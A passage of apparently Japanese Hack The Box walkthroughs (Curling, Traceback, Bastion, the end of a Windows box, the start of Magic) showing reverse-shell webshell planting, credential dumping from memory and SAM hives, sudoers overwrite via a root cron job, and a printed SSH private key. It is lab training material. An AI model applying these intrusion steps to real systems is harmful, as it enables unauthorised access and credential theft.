d-----        4/21/2019  11:00 AM                Windows Photo Viewer
d-----        9/15/2018  12:49 PM                Windows Portable Devices
d-----        9/15/2018  12:49 PM                Windows Security
d-----        9/15/2018  12:49 PM                WindowsPowerShell

プロセスの確認

firefoxのプロセスがいくつかある。一番CPUを使っているPID4668のメモリダンプをとりたい。

*Evil-WinRM* PS C:\> get-process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    463      18     2436       5620               404   0 csrss
    295      17     2352       5292               492   1 csrss
    358      15     3572      14500              5128   1 ctfmon
    164       9     1836       9792       0.03   2664   1 dllhost
    259      14     4100      13584              3912   0 dllhost
    617      32    33376      59068              1000   1 dwm
   1491      57    23548      78484              5416   1 explorer
    390      31    39272      71868      48.92   4668   1 firefox
    358      25    16236      37652       0.50   6368   1 firefox
   1132      69   128224     167868      24.63   6784   1 firefox
    343      19     9944      37212       0.06   6908   1 firefox
    407      31    17356      63148       1.59   7160   1 firefox
     49       6     1432       3620               804   0 fontdrvhost
     49       6     1788       4684               812   1 fontdrvhost
(snip)

procdumpでPID4668のメモリダンプを取得

Powersploitのout-minidump.ps1の実行がうまくいかなかったので、sysinternalsのprocdumpを使う。

*Evil-WinRM* PS C:\Users\Chase\Desktop> upload /root/tools/SysinternalsSuite/procdump.exe
Info: Uploading /root/tools/SysinternalsSuite/procdump.exe to C:\Users\Chase\Desktop\procdump.exe

                                                             
Data: 967156 bytes of 967156 bytes copied

Info: Upload successful!

実行する。

*Evil-WinRM* PS C:\Users\Chase\Desktop> ./procdump.exe -ma 4668 -accepteula

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:12:34] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_200919_201234.dmp
[20:12:34] Dump 1 writing: Estimated dump file size is 309 MB.
[20:12:37] Dump 1 complete: 309 MB written in 2.6 seconds
[20:12:37] Dump count reached.

同様にstringsを持っていき、実行後(result.txt)、login.phpにあったパラメータ(login_password)でフィルター。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat result.txt | sls "login_password"

MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

adminパスワードが見つかる。
4dD!5}x/re8]FBuZ

rootシェル奪取

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:05 AM             32 root.txt

psexecでも行ける。

root@kali:~/tools/impacket/examples# python3 psexec.py Administrator:'4dD!5}x/re8]FBuZ'@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.149.....
[*] Found writable share ADMIN$
[*] Uploading file ETfPZfVT.exe
[*] Opening SVCManager on 10.10.10.149.....
[*] Creating service GWIA on 10.10.10.149.....
[*] Starting service GWIA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.437]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

【Hack The Box】Curling Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.150
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:22 JST
Nmap scan report for 10.10.10.150
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds

22(ssh)、80(http)が開いている。

ブラウザで80番へアクセス

f:id:Paichan:20200921112434p:plain Florisというユーザ名と思われるものが見つかる。Wappalyzerを確認した所、CMSにはJoomlaが使われている。
後々既知の脆弱性を探す可能性もあるのでメモっておく。

ディレクトリスキャン

root@kali:~# gobuster dir -u http://10.10.10.150 -w /usr/share/dirb/wordlists/common.txt -x txt,php -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.150
[+] Threads:        100
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/09/20 13:28:02 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/administrator (Status: 301)
/bin (Status: 301)
/cache (Status: 301)
/components (Status: 301)
/configuration.php (Status: 200)
/images (Status: 301)
/includes (Status: 301)
/index.php (Status: 200)
/index.php (Status: 200)
/language (Status: 301)
/layouts (Status: 301)
/libraries (Status: 301)
/LICENSE.txt (Status: 200)
/media (Status: 301)
/modules (Status: 301)
/plugins (Status: 301)
/README.txt (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
/templates (Status: 301)
/tmp (Status: 301)
/web.config.txt (Status: 200)
===============================================================
2020/09/20 13:28:44 Finished
===============================================================

いくつか気になるのが見つかる。

webページの探索

gobusterで検出されたディレクトリ、ファイルを見に行く。

/administrator

f:id:Paichan:20200921113130p:plain Joomlaの管理画面。

secret.txt

f:id:Paichan:20200921113428p:plain base64デコードしてみた。

root@kali:~# echo "Q3VybGluZzIwMTgh" | base64 -d
Curling2018!

パスワード?

Joomla管理画面の認証

ディレクトリスキャンで発見した/administratorに対し、「ユーザ名:Floris」と「パスワードCurling2018!」でログインに成功。 f:id:Paichan:20200921114101p:plain

ソースコードの改ざん

Joomla初体験のため、UIの雰囲気が分からない。webshellをアップロードしたかったが、ファイルをアップロードできる箇所が見当たらなかった。
しかし、[CONFIGURATION]→[Template]→[Styles]からソースコードの編集ができそうだ。

Styleとやらの候補は2つあったので、Protostarという方をwebshellの機能を持ったコードに編集することにする。 f:id:Paichan:20200921114540p:plain

phpのリバースシェルを実現するwebshellを持ってくる。

root@kali:~/curling# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
root@kali:~/curling# tar -xvf php-reverse-shell-1.0.tar.gz 

ここで解凍されたphpのwebshellをコピペし、パラメータの値を自身(攻撃側)のIPアドレスに変更して保存。 f:id:Paichan:20200921114726p:plain

www-dataでのシェル奪取

攻撃側で待ち受けた状態で、以下のURLにアクセスしたら、www-userでシェルが返ってきた。 http://10.10.10.150/templates/protostar/component.php

root@kali:~/curling# nc -lvp 1234
listening on [any] 1234 ...
10.10.10.150: inverse host lookup failed: Unknown host
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.150] 57424
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 05:08:28 up 44 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@curling:/$

user.txt取得まで

www-data@curling:/$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 6 floris floris 4096 May 22  2018 floris
www-data@curling:/$ ls -l /home/floris  
ls -l /home/floris
total 12
drwxr-x--- 2 root   floris 4096 May 22  2018 admin-area
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 May 22  2018 user.txt
www-data@curling:/$ cat /home/floris/password_backup
cat /home/floris/password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H
www-data@curling:/$ 

password_backupのパーミッションが644だったので、www-userでも中身が見れた。
ローカルに持ってきて、バイナリデータに変換。

root@kali:~/curling# xxd -r password_backup data
root@kali:~/curling# file data 
data: bzip2 compressed data, block size = 900k
root@kali:~/curling# bzip2 -d data
bzip2: Can't guess original name for data -- using data.out
root@kali:~/curling# file data.out 
data.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141
root@kali:~/curling# gzip -d data.gz
root@kali:~/curling# file data
data: bzip2 compressed data, block size = 900k
root@kali:~/curling# bzip2 -d data
bzip2: Can't guess original name for data -- using data.out
root@kali:~/curling# file data.out 
data.out: POSIX tar archive (GNU)
root@kali:~/curling# tar -xvf data.out
password.txt
root@kali:~/curling# cat password.txt 
5d<wdCbdZu)|hChXll

bzip2→gzip→bzip2と解凍していくと、tar archiveが出てくる。これを展開すると、パスワードが見つかる。

www-data@curling:/$ su floris
su floris
Password: 5d<wdCbdZu)|hChXll

floris@curling:/$ cat /home/floris/user.txt
cat /home/floris/user.txt
65XXXXXXXXXXXXXXXXXXXX

権限昇格のための情報収集

floris@curling:/$ sudo -l
sudo -l
[sudo] password for floris: 5d<wdCbdZu)|hChXll              

Sorry, user floris may not run sudo on curling.

sudoの権限はない。

floris@curling:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/snap/core/4486/bin/mount
/snap/core/4486/bin/ping
/snap/core/4486/bin/ping6
/snap/core/4486/bin/su
/snap/core/4486/bin/umount
/snap/core/4486/usr/bin/chfn
/snap/core/4486/usr/bin/chsh
/snap/core/4486/usr/bin/gpasswd
/snap/core/4486/usr/bin/newgrp
/snap/core/4486/usr/bin/passwd
/snap/core/4486/usr/bin/sudo
/snap/core/4486/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/4486/usr/lib/openssh/ssh-keysign
/snap/core/4486/usr/lib/snapd/snap-confine
/snap/core/4486/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/bin/umount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping
/bin/mount
floris@curli

SUIDが設定されているファイルで使えそうなものもなさそう。

floris@curling:/$ uname -a
uname -a
Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

カーネルのバージョンだけ、とりあえず調べておいた。
cronで実行されているプロセスを見るためにpspyを攻撃側から持ってくる。

攻撃側環境でpythonで待ち受けて・・・

root@kali:~/tools/pspy# python -m SimpleHTTPServer 8080

wgetでとりに行き、実行。

floris@curling:/tmp$ wget http://10.10.14.14:8080/pspy64
wget http://10.10.14.14:8080/pspy64
--2020-09-20 08:33:53--  http://10.10.14.14:8080/pspy64
Connecting to 10.10.14.14:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.94M  1.39MB/s    in 2.1s    

2020-09-20 08:33:56 (1.39 MB/s) - ‘pspy64’ saved [3078592/3078592]
floris@curling:/tmp$ chmod +x pspy64
chmod +x pspy64
floris@curling:/tmp$ ./pspy64
./pspy64
(snip)
2020/09/20 08:35:20 CMD: UID=0    PID=1      | /sbin/init maybe-ubiquity 
2020/09/20 08:36:01 CMD: UID=0    PID=16186  | sleep 1 
2020/09/20 08:36:01 CMD: UID=0    PID=16185  | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
2020/09/20 08:36:01 CMD: UID=0    PID=16184  | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input 
2020/09/20 08:36:01 CMD: UID=0    PID=16182  | /usr/sbin/CRON -f 
2020/09/20 08:36:01 CMD: UID=0    PID=16181  | /usr/sbin/CRON -f 
2020/09/20 08:36:01 CMD: UID=0    PID=16187  | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
(snip)

curl/home/floris/admin-area/inputをコンフィグファイルとし、そのレスポンスを/home/floris/admin-area/reportに出力しているようだ。
root権限で実行されているため、/home/floris/admin-area/inputをうまく書き換えれば、root.txtが/home/floris/admin-area/reportに出力できそうだ。

/admin-area配下のファイルの確認

floris@curling:~/admin-area$ ls
ls
input  report
floris@curling:~/admin-area$ cat input
cat input
url = "http://127.0.0.1"
floris@curling:~/admin-area$ cat report
(snip) 

inputには、curlの引数となるurlの記載がある。これをroot.txtに置き換える。

root.txt取得まで

floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input 
floris@curling:~/admin-area$ cat input 
url = "file:///root/root.txt"
floris@curling:~/admin-area$ cat report 
82XXXXXXXXXXXXXXXX

おまけ(walkthroughを見て、こんなことをやっている人もいた)

秘密鍵の取得

floris@curling:~/admin-area$ echo 'url = "file:///etc/ssh/ssh_host_rsa_key"' > input
floris@curling:~/admin-area$ cat report 
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAxrGrd9mhiR027tIEFPRWCDJTKhf7osrU2epbFvhCKHb5T6eg
ruVR37NohBXeZ359LPve6k3ydufJX+xpN6x61C7wq1In9sE4SHlt5uH0uY+jtmT4
79BpeYNNkyLUpJcEJoyX8h9CkeW9Q/Wxgl0FdxpufOQw/MGazqU8Q4xgp5gcmKB4
rXxurGtSwu0nJG/IPSpuNH73yjz1jB4M1IVwt4N8F8o113gcmb4Y2wALjr+zCnWu
jI3jVB+9YZIkEZE8GfKqmPX2ww50ijh3ZAtknLPvLXKc/ACHpHP4Zg0p/kCm7Pt4
ldBS6FvUzj5k/Mc+OXrZ6lug4YZXKzu2hY7t9wIDAQABAoIBAHhKxnHH63k0m7ZY
pan+BzvtI9ZfMLRtMhJARSeR45PV+7hS1wAry7awSn11M/HabXRXhKy7xihgydTu
LwFKxg5B4OkH0zQb5LRT98qJT/0rzkS1utSNi93KNaP3uV9wIk4oXjFy5X2o5j4H
uJEhOhbShMPN7y6HE+85sFOA4F91sLCz6ImF5pzQjDKQT21NESuYCjuxfHdStn4t
TiL01PbTRWnBl4fe33nfqCT+bMUlyx81xbmUnNunBp9b+qoSRgsEqJdiKgCKd399
PgUBGtB1vyBL6Jmoqhtpkm2CfpDmKj/2CedZS32BsDYARh3lMiStxfEz58IO9ECm
BtpmvlECgYEA+JaYujg4sQeT7wuONF6mKo0Y4/7wMGmiKAajtp5Ojptrz7mg70Js
6cDxdjkLMq81iGpuXNKaD06CQT0dqLzZC6LMmGSVErp8l2T8KI9FRT9vlES20s50
loPO1TuhZjhQSvzOxx84KF7s19VqOedlkbUJ+v7LIYkrS/ChloXu428CgYEAzJ4+
oWUgBWZJhvAGBOLbh8j6jVplA2pW+sH+UaRaGW0Bumny/gnKuhw/rr0xiykQcH6w
9vmtfA1iXnd6DL3ZtQ3gz3HHO0Lmc10ROVZtloSgrk8GYhbGhaQ354JRhGD3G2jv
yu8D30LvzmIkruy2QRWP5Rn4DCZKCLwJLOFwOfkCgYAJCvFjVMg7KFtpRrJVlVvW
EGvnX069dBpB+nvaGMgix+SUGdyQ14m+txYRhuGxZk48OCLrnX2dMO3sEZ0SlkwO
8E0g/geuNrpxh2rkztFmQ3h7nERKRthW4VSUzSaB4WqKT8f11lzkmw9iipDiqlg3
hK5oQvyAq8y3Znl6UETwYQKBgGluzKTK/6Hon9BY0zEnV6jyxS+auVv2KlVRKmMV
BZv+UBqmxx9hGkWlkqbOM74Z7a+ZiEPqSRsXpm04sPnpxUkGmqUpYlhF04r0FJDv
2M3rDwRiEc7vH2HzSR8QRkKo2AsWmiB94gfjbL9yUKaVsB9/JcMOC4LvI8y2Xx/y
Faq5AoGAIhRirESXCfGk/UmklDq95IjEP9RSMBIupANg3XfAKM6+l10FL/6KpvVb
WVow0KvgoP8ioOXEGTgOzDINkzhlNezSTWFhjbz/ngLXVWIPD5PwkMrIwSYTvN3f
6HdAhsrnvCgihygg/IAJJAo8yOA1iqwGp+L+25HS6GdeYLYMuxo=
-----END RSA PRIVATE KEY-----

sudo実行権限を付与

floris@curling:~/admin-area$ echo ' floris ALL=(ALL:ALL) ALL' > my-sudoers
floris@curling:~/admin-area$ echo -e 'url = "file:///home/floris/my-sudoers"\noutput = "/etc/sudoers"' > input
floris@curling:~/admin-area$ sudo su -
[sudo] password for floris: 
root@curling:~# whoami
root

【Hack The Box】Traceback Walkthrough

はじめに

  • マシン名:Traceback
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.181

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.181

f:id:Paichan:20200914220905p:plain 22(ssh)、80(http)が開いている。

ブラウザで80番へアクセス

ブラウザでアクセス後、ソースを見てみると、コメントで以下が書かれていた。
<!--Some of the best web shells that you might need ;)--> f:id:Paichan:20200914221032p:plain

webshellの検索

上記コメントを検索してみると、以下のページが見つかる。このマシンの作者(Xh4h)のgithubのページだ。 github.com

このページにあるwebshellが存在することが予想できるため、以下のようにwebshellという名前でワードリストを作成した。

root@kali:~/traceback# cat websehll 
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

ディレクトリスキャン

作成したワードファイルを使ってディレクトリスキャン。

# gobuster dir -u http://10.10.10.181 -w websehll

f:id:Paichan:20200914221619p:plain /smevk.phpを発見。

webshellの操作

/smevk.phpにアクセスすると、認証情報を求められるが、githubページのソースに以下のような記載があり、admin/adminでログインできた。

$UserName = "admin"; //Your UserName here.
auth_pass = "admin"; //Your Password.

smevk.phpは以下のような画面。 f:id:Paichan:20200914222049p:plain webadminというユーザの権限でシェルが操作できる。
/home/webadmin配下にはuser.txtはなかったが/homeにはもう一人のユーザsysadminがいた。

このwebshellが操作しにくいので、ssh接続できるように攻撃者側の公開鍵(id_rsa.pub)を/home/webadmin/.ssh/authorized_keysに追記する。

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDOAXInxQYyXzFm+8GCb7ipAiB4tDz2iYYgGGvvBD48mJPrVdH8FwkW7dE9Oszg4FSN57bo44mg3thNOZ1dCQyjk+V1KoUeY9Vf8jNcNs1mBpBE8MQ+F/FRtWTZGk36x+mdSw/iNpqzV6XWLN5X+MDQ2nwagq/yvHD70HxE84WhlZ/5D40Xanwu9NBXncn9itqc+u9ta76NNyuGg2MBzmJxfwsSAG4v/sMP4lhCN7ez+vdObhqzImzScc6Oe1Typoood3fPNMCgX8mhAO+n/uQSMGslhLllON/Dxa48wp85F3qTZ7GhSGtTQn3iFzKal+o3mrybnJOJ9tiS2JUt5D/BEI6+YPD3fhnAfnC2vCiilijUzG89giTZIjgESNwlNShZrbTui8VS2VJml7/tFO003ifaxGcHPq0jJuA/x3bj/TfvUw1sJRqzbkF/sDSGpWZWvsLCi/JNVdEmEY/2gRC+c3Kjo3gqHq8ErfzezayhCgg1Q0S3Y/uMujwFqLcd1F8= root@kali" >> authorized_keys

追記できたことを確認。 f:id:Paichan:20200914222705p:plain

userシェル取得まで

公開鍵認証方式でターゲットマシンにssh接続する。

ssh webadmin@10.10.10.181 -i /root/.ssh/id_rsa

f:id:Paichan:20200914223215p:plain メッセージが表示された後、接続に成功した。

/home/webadmin配下にあるnote.txtを見ると、luaを練習するためのツールを置きっぱなしにしてしまったと書かれている。

webadmin@traceback:~$ cat note.txt 
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

続いて、sudoの権限を確認すると、パスワードなしで/home/sysadmin/luvitとやらが実行できそうだったので、sysadminで実行してみた。

$ sudo -l
$ sudo -u sysadmin /home/sysadmin/luvit

f:id:Paichan:20200914223704p:plain インタプリタのようだ。上述のnote.txtにも書かれていたが、luaインタプリタだろう。

luaのことは全く分からなかったので、以下を参考にした。 https://gtfobins.github.io/gtfobins/lua/

インタプリタ上でos.execute("/bin/bash")を実行したら、sysadminの権限でbashのシェルが使えるようになった。 これでuser.txt取得完了。

権限昇格のための情報収集

sudo実行権限を確認しようとしたが、パスワードが求められたためだめ。
sshアクセスした際にメッセージが表示されたいたことから、sshアクセス時に何らかのスクリプトが実行されていると考え、
pspyを使うことにする。OSは64bitだったので、pspy64を攻撃者側環境から持ってくる。

攻撃者環境でpythonSimpleHTTPServerで待ち受けた状態で、以下を実行する。

$ http://10.10.14.13:8888/pspy64
$ chmod +x pspy64
$ ./pspy64

別シェルからwebadminでssh接続し、pspyの出力をモニタリングする。root権限で青字のプロセスが実行されている。 f:id:Paichan:20200915211330p:plain

/etc/update-motd.d配下のファイルにアクセスしているようなので、ここを見に行く。 f:id:Paichan:20200915211932p:plain

00-headerというファイル末尾に、ssh接続した際に表示されたメッセージの記載がある。つまり、ssh接続するとroot権限でこのスクリプトが実行されるため、ここにroot.txtを読み出すようなコマンドを書けば良さそうだ。

root.txt取得まで

/etc/update-motd.d/00-headerの末尾に以下を追加した。

$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header

追加後、別シェルでssh接続するとroot.txtが表示された。 f:id:Paichan:20200915212153p:plain

【Hack The Box】Bastion Walkthrough

はじめに

  • マシン名:Bastion
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.134

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.134

f:id:Paichan:20200913225840p:plain 22(ssh)、135(msrpc)、139(netbios-ssn)、445(microsoft-ds)が開いている。
445はguestユーザでアクセスができそうだ。

445ポートにNSE実行

445ポートにNSE(vuln)を実行。

# nmap --script vuln -p 445 10.10.10.134

f:id:Paichan:20200913230109p:plain 何も検知されない。

共有フォルダのアクセス権限の確認

# smbclient -L 10.10.10.134 -U guest

f:id:Paichan:20200913230239p:plain $がついているフォルダにアクセスするには、Windows側でユーザとして登録されており、かつパスワードが設定されていなければならない。
$がついていないものは手動で共有設定にしたものであり、今回はBackupsにアクセスできそうということが分かる。

smbmapだと以下のように出力される。

# smbmap -H 10.10.10.134 -u guest

f:id:Paichan:20200913230529p:plain ※user名指定しないと、実行失敗。かつ、ユーザ名は適当でOK。

Backupsフォルダのマウント

smbclientで接続しても良いが、linuxの標準コマンドを使いたいので、マウントする。

# mount -t cifs -o username=guest //10.10.10.134/Backups /mnt/Backups

f:id:Paichan:20200913230909p:plain /mnt/Backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351に拡張子がvhdのサイズがでかいファイルがある。 f:id:Paichan:20200913231055p:plain

このバックアップファイルはハードディスクの完全なバックアップである、システムイメージと呼ばれるもの。
参考:Windows 10 バックアップを作成する

vhdのマウント

vhdのマウント方法は以下を参考にした。
How to mount a VHD file on linux – Exotic Security

linux環境でvhdファイルをマウントするguestmountというツールがあるらしい。 以下でインストールする。

# apt install libguestfs-tools

マウントする。

# guestmount --add 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro /mnt/vhd/
  -a|--add image       Add image
  -i|--inspector       Automatically mount filesystems
  -r|--ro              Mount read-only

※5分くらいかかってマウント完了。

マウントしたvhdの調査

f:id:Paichan:20200913231722p:plain L4mpjeというユーザの存在が確認できる。ポートスキャン結果より、sshが開いているため、L4mpjeのパスワードを調べたい。
samdump2を使ってパスワードハッシュをダンプするために、レジストリハイブファイルのSAMSYSTEMを使う。 f:id:Paichan:20200913232229p:plain

samdump2を実行。

# samdump2 SYSTEM SAM

f:id:Paichan:20200913232449p:plain L4mpjeのパスワードハッシュが取得できた。一番下の行だけ抽出し、hash.txtとする。左がLMハッシュ、右がNTLMハッシュ。
johnでは平文を取得できなかったため、以下のサービスを使った。
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

f:id:Paichan:20200913232755p:plain パスワードbureaulampjeを取得。
※このページでもLMハッシュはからは平文を取得できなかった。

userシェル獲得まで

ユーザ名:L4mpje、パスワード:bureaulampjeでsshログイン。

# ssh L4mpje@10.10.10.134

デスクトップにあるuser.txt見つけた。 f:id:Paichan:20200913233039p:plain

権限昇格のための情報収集

windows-exploit-suggesterを実行しるために、引数として必要なsysteminfoの実行結果の取得を試みたが、systeminfoコマンドは実行できず。 f:id:Paichan:20200913233432p:plain

続いて、アプリケーションに依存する脆弱性を探すために、何がインストールされているかをprogram filesに見に行く。 program files配下にmRemoteNGというフォルダを発見した。リモート接続ツールのようだ。デフォルト以外でインストールされたアプリケーションはこれくらいだったので、mRemoteNGに注目してみる。 f:id:Paichan:20200913234116p:plain

アプリケーションやプログラムの設定を保存しいるRoamingフォルダを見に行く。ここに、多数のバックアップファイル共にconfCons.xmlという名前のファイルが見つかった。 f:id:Paichan:20200913235421p:plain

中身を確認すると、何らかの方法でエンコード、もしくはハッシュ化されたAdministratorのパスワードが見つかる。 f:id:Paichan:20200913235741p:plain

Administratorの平文パスワード取得

見つけた文字列は以下。
aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
base64に見えたが、文字数も87文字だし違うようだ。
mRemoteng decrypt passwordで検索すると、以下のサイトが見つかる。これを使ってみる。 github.com

# git clone https://github.com/haseebT/mRemoteNG-Decrypt
# cd mRemoteNG-Decrypt/
# python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

f:id:Paichan:20200914000624p:plain 抽出成功。パスワードはthXLHM96BeKL0ER2とわかる。

root(Administrator)シェル獲得まで

見つけたパスワードでssh接続して、Administratorのシェルをゲットして終了。

# ssh Administrator@10.10.10.134

【Hack The Box】Magic Walkthrough

はじめに

  • マシン名:Magic
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.185

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.185
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-22 08:35 JST
Nmap scan report for 10.10.10.185
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
